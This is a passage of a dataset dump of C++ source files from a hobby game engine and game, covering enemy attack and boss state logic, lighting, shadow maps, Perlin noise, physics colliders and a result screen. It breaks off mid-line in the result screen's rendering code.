"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigPunch.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n\nEnemyShortBigPunch::EnemyShortBigPunch()\n{\n}\n\nEnemyShortBigPunch::~EnemyShortBigPunch()\n{\n}\n\nvoid EnemyShortBigPunch::Enter(IEnemy* e)\n{\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackA);\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto v = p->GetPosition() - e->GetPosition();\n\tv.y = 0.f;\n\tfloat vlen = v.Length();\n\tv /= vlen;\n\t\n\tauto f = e->GetForward();\n\n\tauto t = acosf(v.Dot(f));\n\n\tconst float BigShortVector = 100.f;\n\n\t//テストコード。殴打音\n\tCSoundSource* se = NewGO<CSoundSource>(0,\"Punch\");\n\tse->Init(L\"Assets/sound/Goblin_Punch1.wav\");\n\tse->Play(false);\n\tse->SetVolume(1.0f);\n\n\tif (vlen < 25.f && t < Math::PI * 0.5f) {\n\t\tp->ApplyDamage(m_damage, true, f * BigShortVector);\n\t}\n}\n\nIEnemyState* EnemyShortBigPunch::Update(IEnemy* e)\n{\n\tif (!e->GetModel()->IsAnimPlaying())\n\t{\n\t\treturn e->GetState(TO_INT(Zako_ShortBig::EnStateEX::enComing));\n\t}\n\treturn this;\n}\n\nvoid EnemyShortBigPunch::Exit(IEnemy* e)\n{\n}\n\nvoid EnemyShortBigPunch::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6650000214576721,
"alphanum_fraction": 0.6731818318367004,
"avg_line_length": 20.78217887878418,
"blob_id": "4f8c57a4ea845688dce186df66ccb303d824fe2c",
"content_id": "b5a04abbeb97885f21c83e80db4c7d1b434a2b4e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2200,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 101,
"path": "/Game/Enemy/State/MiddleBombState/BossBombIdleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombIdleState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Enemy/BossBGM.h\"\n\nBossBombIdleState::BossBombIdleState()\n{\n}\n\nBossBombIdleState::~BossBombIdleState()\n{\n}\n\nvoid BossBombIdleState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enIdle));\n\n\te->SetVelocity(Vector3::Zero);\n\n\tm_timer = 0.f;\n\tm_firstRot = e->GetRotation();\n\tm_isAttacked = false;\n\n\te->SetAutoRotateFlag(false);\n\t\n\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_R));\n\tm_oldIKPos = ik->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\n\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(-1);\n\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Bomb, false);\n\n\t}\n}\n\nIEnemyState* BossBombIdleState::Update(IEnemy* e)\n{\n\tif(m_isAttacked)\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\n\tm_timer += gameTime()->GetDeltaTime();\n\n\t//e->SetVelocity({ 0,-500,0 });\n\t\n\tauto p = GameManager::GetInstance().GetPlayer();\n\tauto d = p->GetPosition() - e->GetPosition();\n\n\tif (BossBombData::GetInstance().isStartBattle)\n\t{\n\t\tfloat t = m_timer / m_timeRotate;\n\n\t\tauto ik = e->GetIK(TO_INT(IEnemy::EnIK::enArm_R));\n\n\t\tif (t >= 1.f)\n\t\t{\n\t\t\tQuaternion rot;\n\t\t\tauto theta = atan2(d.x, d.z);\n\t\t\trot.SetRotationY(theta);\n\t\t\te->SetRotation(rot);\n\n\t\t\tik->SetNextTarget(p->GetPosition());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQuaternion rot;\n\t\t\tauto theta = atan2(d.x, d.z);\n\t\t\t//theta = theta * (180.f / Math::PI);\n\t\t\trot.SetRotationY(theta);\n\t\t\trot.Slerp(t, m_firstRot, rot);\n\t\t\te->SetRotation(rot);\n\n\t\t\t\n\t\t\tik->SetNextTarget(Math::Lerp(t, m_oldIKPos, p->GetPosition()));\n\t\t}\n\t}\n\n\tfloat len = d.Length();\n\tif (len < 100.)\n\t{\n\t\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\n\t\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(1);\n\t\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Bomb, true);\n\t\t}\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\treturn this;\n}\n\nvoid BossBombIdleState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombIdleState::OnAttacked(IEnemy* e)\n{\n\tm_isAttacked = true;\n}\n"
},
{
"alpha_fraction": 0.6449999809265137,
"alphanum_fraction": 0.6449999809265137,
"avg_line_length": 12.399999618530273,
"blob_id": "cf5232fd135d54aad3f3c762a0ea135ac80b6082",
"content_id": "d8e58c8ff63d9556b86e9796943bafbc85a85b1f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 200,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 15,
"path": "/UsualEngineR/math/Random.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Random.h\"\n\n\n#undef min\n#undef max\nnamespace UER\n{\n\tvoid GameRandom::Init(UINT seed)\n\t{\n\t\tm_engine.seed(seed);\n\t\tm_min = m_engine.min();\n\t\tm_max = m_engine.max();\n\t}\n}"
},
{
"alpha_fraction": 0.6638001799583435,
"alphanum_fraction": 0.668714165687561,
"avg_line_length": 16.08391571044922,
"blob_id": "55e71aa6b41a59db872601602d41f5055135473d",
"content_id": "92fb9df0ba408cd5395a892242e4d172bb066108",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2832,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 143,
"path": "/UsualEngineR/Graphics/Light/LightManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"graphics/ConstantBuffer.h\"\n#include \"graphics/StructuredBuffer.h\"\n#include \"graphics/Shader.h\"\n#include \"LightStruct.h\"\n\n\nnamespace UER\n{\n#define MAX_DIRLIGHT 8\n#define MAX_PNTLIGHT 32\n\tclass LightBase;\n\tclass LightDirection;\n\tclass LightPoint;\n\n\t/*\n\tライトを管理するやつ\n\t*/\n\tclass LightManager\n\t{\n\tfriend class GraphicsEngine;\n\tprivate:\n\t\tLightManager();\n\t\t~LightManager();\n\tpublic:\n\t\t////こいつのインスタンスをゲット!!\n\t\t//static LightManager* Get()\n\t\t//{\n\t\t//\tstatic LightManager ins;\n\t\t//\t\n\t\t//\treturn &ins;\n\t\t//}\n\n\t\t//初期化\n\t\tvoid Init();\n\n\t\tvoid InitDirectionStructuredBuffer();\n\n\t\tvoid InitPointStructuredBuffer();\n\n\t\t/*\n\t\tライト追加\n\t\t*/\n\t\tvoid AddLight(LightBase* light);\n\n\t\t/*\n\t\tライト除去\n\t\t*/\n\t\tvoid RmvLight(LightBase* light);\n\n\t\t//更新\n\t\tvoid Update();\n\n\t\t//描画\n\t\tvoid Render();\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvoid RenderPointLight();\n\n\t\t//描画終了\n\t\tvoid EndRender();\n\n\t\t/// <summary>\n\t\t/// 0番目のディレクションライトを返す\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tLightDirection* GetMainLightDirection()\n\t\t{\n\t\t\tif (m_cDirLight.size() > 0)\n\t\t\t{\n\t\t\t\treturn m_cDirLight[0];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn nullptr;\n\t\t\t}\n\t\t}\n\n\t\tConstantBuffer& GetLightConstBuffer()\n\t\t{\n\t\t\treturn m_lightParamCB;\n\t\t}\n\n\t\tStructuredBuffer& GetDirLightStructuredBuffer()\n\t\t{\n\t\t\treturn m_dirLightSB;\n\t\t}\n\n\t\tStructuredBuffer& GetPointLightStructuredBuffer()\n\t\t{\n\t\t\treturn m_pntLightSB;\n\t\t}\n\n\t\t//ライトのパラメータの構造体\n\t\tstruct LightParam\n\t\t{\n\t\t\tVector4 screen;\t\t\t\t\t\t//スクリーンのサイズ\n\t\t\t//Vector3 eyePos = g_vec3Zero;\t\t//メインカメラの位置\n\t\t\tint DLCount = 0;\t\t\t\t\t\t//ディレクションライトの数\n\t\t\tint PLCount = 0;\t\t\t\t\t\t//ポイントライトの数。\n\t\t};\n\n\t\t/// <summary>\n\t\t/// ライト用の定数バッファの構造体。\n\t\t/// </summary>\n\t\tstruct SLightCB\n\t\t{\n\t\t\tVector4 screenSize;\n\t\t\tint directionCount;\n\t\t\tint pointCount;\n\t\t};\n\tprivate:\n\t\t//LightParam m_lightParam;\t\t\t\t\t\t//ライトの情報\n\t\tLightParam m_lightParam;\n\t\tConstantBuffer m_lightParamCB;\t\t\t\t//ライトパラメータの定数バッファ\n\t\tstd::vector<LightDirection*> m_cDirLight;\t//ディレクションライトのリスト\n\t\tSDirectionLight m_sDirLights[MAX_DIRLIGHT];\t//ディレクションライト構造体のリスト\n\t\tStructuredBuffer m_dirLightSB;\t\t\t\t//ディレクションライトのStructuredBuffer\n\t\tstd::vector<LightPoint*> m_cPointLight;\n\t\tSPointLight m_sPntLights[MAX_PNTLIGHT];\n\t\tStructuredBuffer m_pntLightSB;\n\n\t\tDescriptorHeap m_lightHeap;\n\n\t\tstruct CameraParam\n\t\t{\n\t\t\tMatrix projMat;\n\t\t\tMatrix projInvMat;\n\t\t\tMatrix viewRotMat;\n\t\t\tfloat camNear;\n\t\t\tfloat camFar;\n\t\t\tfloat screenWidth;\n\t\t\tfloat screenHeight;\n\t\t};\n\t\tConstantBuffer m_cameraParamCB;\n\t\tShader m_csPointLightCulling;\n\n\t\t\n\t};\n}"
},
{
"alpha_fraction": 0.6565243005752563,
"alphanum_fraction": 0.6740784049034119,
"avg_line_length": 17.791208267211914,
"blob_id": "c54b01bbad8fb66235db08b8654a4938619c426f",
"content_id": "4e5a539f2207e25dac68c7ec24a019d50796f326",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1735,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 91,
"path": "/UsualEngineR/Graphics/ShadowMap.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Model.h\"\n\nnamespace UER\n{\n\tconst static int MAX_SHADOW_MAP = 3;\n\t/// <summary>\n\t/// シャドウマップ\n\t/// </summary>\n\tclass ShadowMap\n\t{\n\tpublic:\n\t\tShadowMap();\n\t\t~ShadowMap();\n\t\t\n\t\tvoid Init(float w, float h);\n\n\t\tvoid Update();\n\n\t\tvoid Send2GPU();\n\n\t\tvoid Render(RenderContext& rc);\n\n\t\tvoid AddShadowCaster(Model* m)\n\t\t{\n\t\t\tm_shadowCaster.push_back(m);\n\t\t}\n\n\t\tConstantBuffer& GetShadowCB()\n\t\t{\n\t\t\treturn m_shadowCB;\n\t\t}\n\n\t\tConstantBuffer* GetConstBufferLight(int& num)\n\t\t{\n\t\t\tnum = MAX_SHADOW_MAP;\n\t\t\treturn m_constBufferLight;\n\t\t}\n\t\tint GetRenderingShadowMapNum() const\n\t\t{\n\t\t\treturn m_renderingShadowMapNum;\n\t\t}\n\n\t\tRenderTarget& GetShadowMap(int i)\n\t\t{\n\t\t\treturn m_shadowMapRT[i];\n\t\t}\n\n\t\tvoid ClearModelList()\n\t\t{\n\t\t\tm_shadowCaster.clear();\n\t\t}\n\tprivate:\n\t\t/*struct SShadowCB\n\t\t{\n\t\t\tMatrix mLVP[MAX_SHADOW_MAP] = { Matrix::Identity };\n\t\t\tVector4 texoffset[MAX_SHADOW_MAP];\n\t\t\tVector4 pixSize[MAX_SHADOW_MAP];\n\t\t\tVector4 depthoffset;\n\t\t\tfloat ligNear[MAX_SHADOW_MAP];\n\t\t\tfloat ligFar[MAX_SHADOW_MAP];\n\t\t};*/\n\t\tstruct SShadowCB\n\t\t{\n\t\t\tMatrix mLVP[MAX_SHADOW_MAP] = { Matrix::Identity };\n\t\t\tVector4 depthoffset;\n\t\t\tVector4 AreaDepthInVew;\n\t\t\tVector2 pixSize[MAX_SHADOW_MAP];\n\n\t\t};\n\t\tVector3 m_lightDirection = Vector3::Down;\t\t\t\t//ライトの方向\n\t\tfloat m_near = 0.00001f;\n\t\tfloat m_far = 100000.f;\n\t\tfloat m_lightHeight = 8000.f;\n\t\tRenderTarget m_shadowMapRT[MAX_SHADOW_MAP];\n\t\tConstantBuffer m_shadowCB;\n\t\tstd::vector<Model*> m_shadowCaster;\n\t\tMatrix m_mLVP[MAX_SHADOW_MAP] = {Matrix::Identity};\n\t\tSShadowCB m_shadowCBEntity;\n\t\tD3D12_VIEWPORT m_viewPort;\n\n\t\tstruct SConstBufferLight\n\t\t{\n\t\t\tMatrix mvp;\n\t\t};\n\t\tConstantBuffer m_constBufferLight[MAX_SHADOW_MAP];\n\n\t\tint m_renderingShadowMapNum = 0;\n\t};\n}"
},
{
"alpha_fraction": 0.7302504777908325,
"alphanum_fraction": 0.7437379360198975,
"avg_line_length": 23.761905670166016,
"blob_id": "81ded43ac84b094b77581676e78e04f292bc4dad",
"content_id": "098deb8ad0190a0096be2b5794615ddae8e31ba4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 519,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 21,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeThrusterAttackState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeThrusterAttackState : public IEnemyState\n{\npublic:\n\tEnemyMeleeThrusterAttackState();\n\tvirtual ~EnemyMeleeThrusterAttackState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tbool m_canExecute = true;\n\t//stamina\n\tconst float m_cost = 30.f;\n\tconst float m_range = 50.f;\n\tconst float m_damage = 5.f;\n\n\tconst float m_fireTime = 1.f;\n\tfloat m_fireTimer = 0.f;\n};"
},
{
"alpha_fraction": 0.503110408782959,
"alphanum_fraction": 0.555987536907196,
"avg_line_length": 23.283018112182617,
"blob_id": "a96a3fdf15111707e9cd615c820236fa39662e1a",
"content_id": "edfd5e9058c2bee23b10b709c835354ede7c4235",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1286,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 53,
"path": "/UsualEngineR/math/PerlinNoise.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"PerlinNoise.h\"\n\n\n\nnamespace UER\n{\n\n\tVector2 PerlinNoise2D::Random2D(const Vector2& v) const\n\t{\n\n\t\tVector2 ve(v.Dot(m_dot_x),\n\t\t\tv.Dot(m_dot_y));\n\t\t\n\t\tve.x = sin(ve.x);\n\t\tve.y = sin(ve.y);\n\t\tfloat x = ve.x * m_scaling;\n\t\tfloat y = ve.y * m_scaling;\n\t\tve.x = (x - (int)x)*2.f;\n\t\tve.y = (y - (int)y)*2.f;\n\n\t\tve.x -= 1.f;\n\t\tve.y -= 1.f;\n\n\t\treturn ve;\n\t}\n\tfloat PerlinNoise2D::GenerateNoise(const Vector2& v) const\n\t{\n\t\tVector2 i((int)v.x,(int)v.y);\n\t\tVector2 f(v.x - i.x, v.y - i.y);\n\n\t\t//float2 u = f * f * (3.f - 2.f * f);\n\t\tVector2 u(\n\t\t\tf.x * f.x * (f.x * -2.f + 3.f),\n\t\t\tf.y * f.y * (f.y * -2.f + 3.f)\n\t\t);\n\n\t\tVector2 ofs_xy(1, 0);\n\t\tVector2 ofs_yx(0, 1);\n\t\tVector2 ofs_yy(1, 1);\n\n\t\tfloat mixX1 = Math::Lerp(u.x, Random2D(i).Dot(f), Random2D(i + ofs_xy).Dot(f- ofs_xy));\n\n\t\t/*float mixX1 = lerp(dot(PerlinRandom2D(i + float2(0.f, 0.f)), f - float2(0.f, 0.f)),\n\t\t\tdot(PerlinRandom2D(i + float2(1.f, 0.f)), f - float2(1.f, 0.f)), u.x);*/\n\n\t\tfloat mixX2 = Math::Lerp(u.x, Random2D(i+ofs_yx).Dot(f-ofs_yx), Random2D(i + ofs_yy).Dot(f - ofs_yy));\n\n\t\t/*float mixX2 = lerp(dot(PerlinRandom2D(i + float2(0.f, 1.f)), f - float2(0.f, 1.f)),\n\t\t\tdot(PerlinRandom2D(i + float2(1.f, 1.f)), f - float2(1.f, 1.f)), u.x);*/\n\t\treturn Math::Lerp(u.y, mixX1, mixX2);\n\t}\n}"
},
{
"alpha_fraction": 0.702479362487793,
"alphanum_fraction": 0.7041322588920593,
"avg_line_length": 16.314285278320312,
"blob_id": "070bb49affeba88150ee34c41f28ff9ae2e95ba4",
"content_id": "b9923c1234a5a95d8074f7661e0774937e17db9d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 615,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 35,
"path": "/UsualEngineR/Graphics/RaytracingInstance.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n\ttypedef RaytracingEngine RE;\n\tclass RaytracingInstance\n\t{\n\tpublic:\n\t\tRaytracingInstance() {}\n\t\tvirtual ~RaytracingInstance();\n\n\t\tvoid Release();\n\n\t\tvoid Build(Model& model);\n\n\t\tvoid Build_BLAS();\n\n\t\tvoid Remove();\n\n\t\tvoid Register();\n\n\t\tvoid Update(const Matrix& mat,float deltaTime);\n\n\t\tvoid Update_RaytraceData();\n\tprivate:\n\t\tint m_id = -1;\n\t\tRE::AccelerationStructureBuffers m_bottomLevelAS;\t//-B-L-A-S-\n\t\tstd::vector<RE::RaytracingInstance> m_instances;\t//\n\t\tstd::vector<RWStructuredBuffer> m_vertexBufferList;\t//スキン用のBuffer\n\n\t\tbool m_isUpdate;\n\t\tMatrix m_matrix;\n\t};\n}"
},
{
"alpha_fraction": 0.599552571773529,
"alphanum_fraction": 0.6174496412277222,
"avg_line_length": 12.57575798034668,
"blob_id": "ac21aa6c909fe54885912535df811b789a4e282b",
"content_id": "c8fb63f0d9f5f23c5c020eed4d411d861c611426",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 447,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 33,
"path": "/UsualEngineR/Physics/BoxCollider.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"ICollider.h\"\n\nnamespace UER\n{\n\tclass BoxCollider :public ICollider\n\t{\n\tpublic:\n\t\t~BoxCollider()\n\t\t{\n\t\t\tRelease();\n\t\t}\n\t\tvoid Release()\n\t\t{\n\t\t\tdelete m_body;\n\t\t}\n\t\tvoid Create(const Vector3& size)\n\t\t{\n\t\t\tm_body = new btBoxShape(btVector3(size.x * 0.5f, size.y * 0.5f, size.z * 0.5f));\n\t\t\t\n\t\t}\n\n\t\tvirtual btCollisionShape* GetBody() const override\n\t\t{\n\t\t\treturn m_body;\n\t\t}\n\tprivate:\n\t\tbtBoxShape* m_body = nullptr;\n\n\t\t\n\t};\n}"
},
{
"alpha_fraction": 0.704081654548645,
"alphanum_fraction": 0.7142857313156128,
"avg_line_length": 8.899999618530273,
"blob_id": "634112af970314526d86b247520865f5184a841c",
"content_id": "d973c6662296993c1478194ec34e3affdd2271bb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 98,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 10,
"path": "/UsualEngineR/Debug/DebugConsole.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"DebugConsole.h\"\n\n\n\n\nnamespace UER\n{\n\tint DebugConsoleUser = 0;\n}"
},
{
"alpha_fraction": 0.6249677538871765,
"alphanum_fraction": 0.6477946639060974,
"avg_line_length": 25.8304500579834,
"blob_id": "cd5f6647b2129a9cf1c5cac1a191d119cd70ab98",
"content_id": "205b6e5ffb0e88e22983d30f34f3b5b04161942d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7754,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 289,
"path": "/Game/Result.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Result.h\"\n#include \"Title.h\"\n#include \"GameManager.h\"\n#include \"Fade.h\"\n\nResult::Result()\n{\n\n}\n\nResult::~Result()\n{\n\n}\n\n\n\nvoid Result::Release()\n{\n\tfor (auto robot : m_robots) {\n\t\tDeleteGO(robot);\n\t}\n\n\tDeleteGO(m_ground);\n\tDeleteGO(m_backSprite);\n\n\tfor (auto back : m_attachBack)\n\t{\n\t\tDeleteGO(back);\n\t}\n}\n\nvoid Result::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Result::Awake()\n{\n\n}\n\nbool Result::Start()\n{\n\tModelInitData mid;\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/AssistantMachine/am.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\n\t//Ground\n\t/*m_ground = NewGO<ModelRender>(0);\n\tm_ground->Init(mid);\n\tm_ground->SetScale(Vector3(1000.f,0.5f,1000.f));\n\tm_ground->SetPosition(Vector3(0.f,-5.f,0.f));*/\n\n\tg_camera3D->SetPosition(m_resultCameraPos);\n\tg_camera3D->SetTarget(m_resultCameraTarget);\n\n\t//Sprite\n\tSpriteInitData sd;\n\tsd.m_ddsFilePath[0] = \"Assets/Image/resultBack.dds\";\n\tsd.m_height = 512;\n\tsd.m_width = 1260;\n\tm_backSprite = NewGO<SpriteRender>(0);\n\tm_backSprite->Init(sd);\n\tm_backSprite->SetPos(m_backSpPos);\n\tm_backSprite->SetSca(m_backSpScale);\n\n\n\tsd.m_ddsFilePath[0] = \"Assets/Image/white.dds\";\n\tsd.m_height = 16;\n\tsd.m_width = 16;\n\tfor (int i = 0; i < 4; i += 1) {\n\t\tm_attachBack[i] = NewGO<SpriteRender>(0);\n\t\tm_attachBack[i]->Init(sd);\n\t\tm_attachBack[i]->SetPivot({ 1,1 });\n\t\tm_attachBack[i]->SetSca({ 17,3.5,0 });\n\t\tm_attachBack[i]->SetMulColor(m_attachColor[i]);\n\t\tm_attachBack[i]->SetPos({ X3, Y1 - (RightYSpace * (i*2+1))+5.f ,0 });\n\t\t//m_attachBack[i]->SetMulColor({})\n\t}\n\n\tFade::GetInstance().FadeIn();\n\n\tprintf(\"fade in\\n\");\n\n\treturn true;\n}\n\n\nvoid Result::Init(const double clearTime, const int eliminateCount, const SAttachmentPercentage data) {\n\n\t//Robots\n\tModelInitData mid;\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/AssistantMachine/am.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\n\tconst int NUM_ROBOT = 100;\n\n\tm_attachmentPercentageData = data;\n\n\tm_corpseCount = eliminateCount;\n\tm_clearSec = clearTime;\n\n\tfloat clearMin = clearTime / 60.0;\n\t//printf(\"clear time : %f(min)\\n\", clearTime / 60.0);\n\tconst float WorstMin = 0.1f;\n\tconst float BestMin = WorstMin / 2.f;\n\n\tif (clearMin >= WorstMin) {\n\t\tm_displayRoboCount = 1;\n\t}\n\telse if (clearMin <= BestMin) {\n\t\tm_displayRoboCount = NUM_ROBOT;\n\t}\n\telse {\n\t\tm_displayRoboCount = NUM_ROBOT - (NUM_ROBOT * (clearMin - BestMin) / BestMin);\n\t}\n\n\n\tm_level.Init(\"Assets/level/resultPOWs_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t{\n\t\t\tif (m_robotCount >= m_displayRoboCount) return true;\n\t\t\tstd::string name(objData.name.begin(), objData.name.end());\n\t\t\tModelRender* mr = NewGO<ModelRender>(0);\n\t\t\tmr->SetScale(Vector3::One * m_levelScale);\n\t\t\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\t\t\tmr->Init(mid);\n\t\t\tmr->SetScale(objData.scale * m_levelScale);\n\t\t\tmr->SetPosition(objData.position * m_levelScale);\n\t\t\tmr->SetRotation(objData.rotation);\n\t\t\tm_robots.push_back(mr);\n\t\t\tmr->SetMulColor({ 0.4,0.4,0.4,1 });\n\t\t\tm_robotCount++;\n\t\t\t//printf(\"robo count : %d\\n\", robotCount);\n\t\t\treturn true;\n\t\t});\n\n\tint count = 0;\n\tm_deathLevel.Init(\"Assets/level/resultPOWs_death_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t{\n\t\t\tif (count >= 100-m_displayRoboCount) return true;\n\t\t\tstd::string name(objData.name.begin(), objData.name.end());\n\t\t\tModelRender* mr = NewGO<ModelRender>(0);\n\t\t\tmr->SetScale(Vector3::One * m_levelScale);\n\t\t\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\t\t\tmr->Init(mid);\n\t\t\tmr->SetScale(objData.scale * m_levelScale);\n\t\t\tmr->SetPosition(objData.position * m_levelScale);\n\t\t\tmr->SetRotation(objData.rotation);\n\t\t\tm_robots.push_back(mr);\n\t\t\tmr->SetMulColor({ 0.4,0.4,0.4,1 });\n\t\t\tcount++;\n\t\t\t//printf(\"robo count : %d\\n\", robotCount);\n\t\t\treturn true;\n\t\t});\n\n\tmid.m_tksFilePath = nullptr;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tm_backLevel.Init(\"Assets/level/blastFurnace_level.tkl\", [&](LevelObjectData& objData)->bool\n\t\t{\n\t\t\t//std::string name(objData.name.begin(), objData.name.end());\n\t\t\tModelRender* mr = NewGO<ModelRender>(0);\n\t\t\tmr->SetScale(objData.scale * m_levelScale);\n\t\t\tmr->SetPosition(objData.position * m_levelScale + Vector3::Down * 1.5);\n\t\t\tmr->SetRotation(objData.rotation);\n\n\t\t\tif (objData.name == L\"Plane\")\n\t\t\t{\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/plane/plane.tkm\";\n\t\t\t\tmr->SetMulColor({ 8.,0.4,0.1,1 });\n\t\t\t\tm_magma = mr;\n\t\t\t}\n\t\t\telse if (objData.name == L\"BF\")\n\t\t\t{\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/blastFurnace/blastFurnace.tkm\";\n\t\t\t\tmr->SetMulColor({ 0.4,0.4,0.5,1 });\n\t\t\t\tm_ground = mr;\n\t\t\t}\n\t\t\telse if(objData.name == L\"Back\")\n\t\t\t{\n\t\t\t\tmid.m_tkmFilePath = \"Assets/modelData/plane/plane.tkm\";\n\t\t\t\tmr->SetMulColor({ 0.1,0.1,0.1,1 });\n\t\t\t\tm_back = mr;\n\t\t\t\tmr->SetPosition({0,10,0});\n\t\t\t}\n\t\t\tmr->Init(mid);\n\t\t\t\n\t\t\t\n\t\t\tm_robots.push_back(mr);\n\t\t\treturn true;\n\t\t});\n}\n\n\nvoid Result::PreUpdate()\n{\n\n}\n\nvoid Result::Update()\n{\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonA) and !m_isTriggeredButtonA) {\n\t\tFade::GetInstance().FadeOut();\n\t\tm_isTriggeredButtonA = true;\n\t}\n\n\tif (Fade::GetInstance().IsFaded() and m_isTriggeredButtonA) {\n\t\tNewGO<Title>(1);\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t}\n}\n\nvoid Result::PostUpdate()\n{\n\tFade::GetInstance().Update();\n}\n\n\nvoid Result::Render()\n{\n\n}\n\nvoid Result::PostRender()\n{\n\t//TIME\n\t//LEFT\n\tfor (int i = 0; i < 6; i+=2) {\n\t\tm_fontsPos[i] = Vector2(X1, Y1 - (LeftYSpace * i));\n\t}\n\tfor (int i = 1; i < 6; i += 2) {\n\t\tm_fontsPos[i] = Vector2(X2, Y1 - (LeftYSpace * (i - 1)));\n\t}\n\t//RIGHT\n\tfor (int i = 6; i < m_NUM_FONTS; i+=2) {\n\t\tm_fontsPos[i] = Vector2(X3, Y1 - (RightYSpace * (i - 6)));\n\t}\n\tfor (int i = 7; i < m_NUM_FONTS; i += 2) {\n\t\tm_fontsPos[i] = Vector2(X4, Y1 - (RightYSpace * (i - 6 - 1)));\n\t}\n\n\tconst int clearMin = (int)m_clearSec / 60.f;\n\tconst int clearHour = (clearMin / 60.f) >= 1.f ? (int)(clearMin / 60.f) : 0;\n\tconst int sec = max(0, (int)m_clearSec - (clearMin * 